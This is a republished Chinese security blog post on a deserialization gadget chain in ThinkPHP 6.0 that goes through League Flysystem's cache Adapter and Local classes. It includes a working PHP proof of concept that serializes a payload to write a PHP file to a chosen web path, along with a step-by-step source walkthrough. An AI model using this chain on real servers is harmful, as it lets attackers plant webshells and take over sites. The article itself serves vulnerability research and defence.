前言
之前分析了thinkphp 5.1,5.2,6.0的反序列化pop链,觉得师傅们实在是太厉害了,也没有想着再去自己挖掘,但是最近偶然间看到有师傅发了一条新的tp6.0的利用链出来,我也就寻思着能不能自己挖一挖,于是有了这篇文章
分析
先给出利用链及poc:
poc:
namespace
LeagueFlysystemAdapter
{
abstract
class
AbstractAdapter
{
protected
$
pathPrefix
;
function
__construct
(
)
{
$this
->pathPrefix =
'/'
;
}
}
class
Local
extends
AbstractAdapter
{
}
}
namespace
LeagueFlysystemCachedStorage
{
use
LeagueFlysystemAdapterLocal
;
abstract
class
AbstractCache
{
protected
$autosave
=
false
;
protected
$cache
= [];
function
__construct
(
)
{
$this
->autosave =
false
;
$this
->cache = [
"axin"
=>
"<?php phpinfo();?>"
];
}
}
class
Adapter
extends
AbstractCache
{
protected
$adapter
;
protected
$file
;
function
__construct
(
)
{
parent
::__construct();
$this
->adapter =
new
Local();
$this
->file =
'/opt/lampp/htdocs/axin.php'
;
}
}
}
namespace
{
use
LeagueFlysystemCachedStorageAdapter
;
echo
urlencode(base64_encode(serialize(
new
Adapter())));
}
从poc中可以大概看出来我的这条利用链只是能够写入shell,不像其他大师傅们那些利用链可以直接执行命令,所以要弱鸡一点~
这次的利用链还是从常规的__destruct()
以及__weakup()
入手,经过全局搜索,最后锁定LeagueFlysystemCachedStorageAbstractCache
类的__destruct
方法:
为了执行save,我们令$this->autosave=false
,然后跟进save(),由于AbstractCache是一个抽象类,没有实现save方法,我们需要找到一个实现了save方法的子类(在phpstorm,鼠标右键类名,点击find usages可以找到类出现的地方,也就可以找到相关子类):
我这里利用的是Adapter类,其实很多子类都可以形成利用链,但是我感觉和之前师傅们挖的利用链有点撞车了,所以就不说其他的链了。我们看一下Adapter类的save方法:
上面的几处echo是我在调试poc时自己添加的,当我看到这里的write的时候我就感觉可能会存在文件写入操作,这里的write()的参数file
可控,$config
不可控,我们看一下$contents
是否可控,跟进getForStorage():
return
json_encode([
$cleaned
,
$this
->complete,
$this
->expire]);
//[{"axin":"
<?php
phpinfo();
?>
"},[],null]
}
可以看到这里返回的值$this->complete,$this->expire
都可以控制,我们再看看$cleaned
,进入cleanContents():
foreach
(
$contents
as
$path
=>
$object
) {
// $contents=["axin"=>'
<?php
phpinfo();
?>
']
if
(is_array(
$object
)) {
$contents
[
$path
] = array_intersect_key(
$object
,
$cachedProperties
);
}
}
return
$contents
;
//$contents=["axin"=>'
<?php
phpinfo();
?>
']
}
由于参数我们可以控制,这里直接返回了我们传入的值,也就是getForStorage()函数中返回值我们是可以控制的,只不过进行了json转换,但是不影响我们后续利用,回到save函数,$this->adapter->write($this->file, $contents, $config);
中前两个参数可控,而且$this->adapter
可控,只要找到一个wirte方法有问题的类,我们就可以收工了,但是还要注意一点,这里要想执行到write()的前提是$this->adapter->has($this->file)==false
,所以我们需要找的这个类不仅要实现了has与write方法,还要能够控制has方法的返回值为false
最终我定位到了LeagueFlysystemAdapterLocal类,我们看一下它的has方法:
return
file_exists(
$location
);
}
看来只是判断我们传入的路径文件是否存在,不过在调用file_exists()之前,给路径添加了个前缀,applyPathPrefix:
用什么东西和我们的路径拼接了起来,继续看getPathPrefix() :
而这里的$this->pathPrefix
我们是可以控制的,所以回到has函数,只要我们输入的路径文件不存在,has就会返回false,就会执行到write():
$type
=
'file'
;
$result
= compact(
'contents'
,
'type'
,
'size'
,
'path'
);
if
(
$visibility
=
$config
->get(
'visibility'
)) {
$result
[
'visibility'
] =
$visibility
;
$this
->setVisibility(
$path
,
$visibility
);
}
return
$result
;
}
可以看到这里执行了file_put_contents(),而且参数就是write函数的前两个参数,与$config
无关,所以之前我们不能控制config也就不影响这里的shell写入。
通过之前的分析我们知道applyPathPrefix()
的返回值我们是可控的,也就是$location
可控,然后$contents
就是之前json_encode()之后的那个值,所以file_put_contents的关键参数都是可控的,但是以防万一,我们还是看看ensureDirectory():
if
( ! is_dir(
$root
)) {
echo
"ensureDirectory执行!<br>"
;
$umask
= umask(
0
);
if
( ! @mkdir(
$root
,
$this
->permissionMap[
'dir'
][
'public'
],
true
)) {
$mkdirError
= error_get_last();
}
umask(
$umask
);
clearstatcache(
false
,
$root
);
if
( ! is_dir(
$root
)) {
$errorMessage
=
isset
(
$mkdirError
[
'message'
]) ?
$mkdirError
[
'message'
] :
''
;
throw
new
Exception
(sprintf(
'Impossible to create the root directory "%s". %s'
,
$root
,
$errorMessage
));
}
}
}
可以看到,这个函数并不影响我们的利用链,至此整条利用链结束,这条利用链比较难受的地方就是得知道网站绝对路径。
效果演示:自己构造一个反序列化输入点,发送请求(页面的输出是我自己方便调试打印的)
文件成功写入:
ps:文章写了两遍,第一次快写完的时候电脑卡死了~一直以为安全客的编辑器能够实时保存文章,但是当我重启的时候发现我想多了,希望安全客可以考虑实时保存文章,写作体验更好^^(在做了.jpg)
原文地址:
https:
/
/www.anquanke.com/post
/id/
194269
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
原文始发于微信公众号(白帽子左一):Thinkphp 6.0反序列化链再挖掘
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论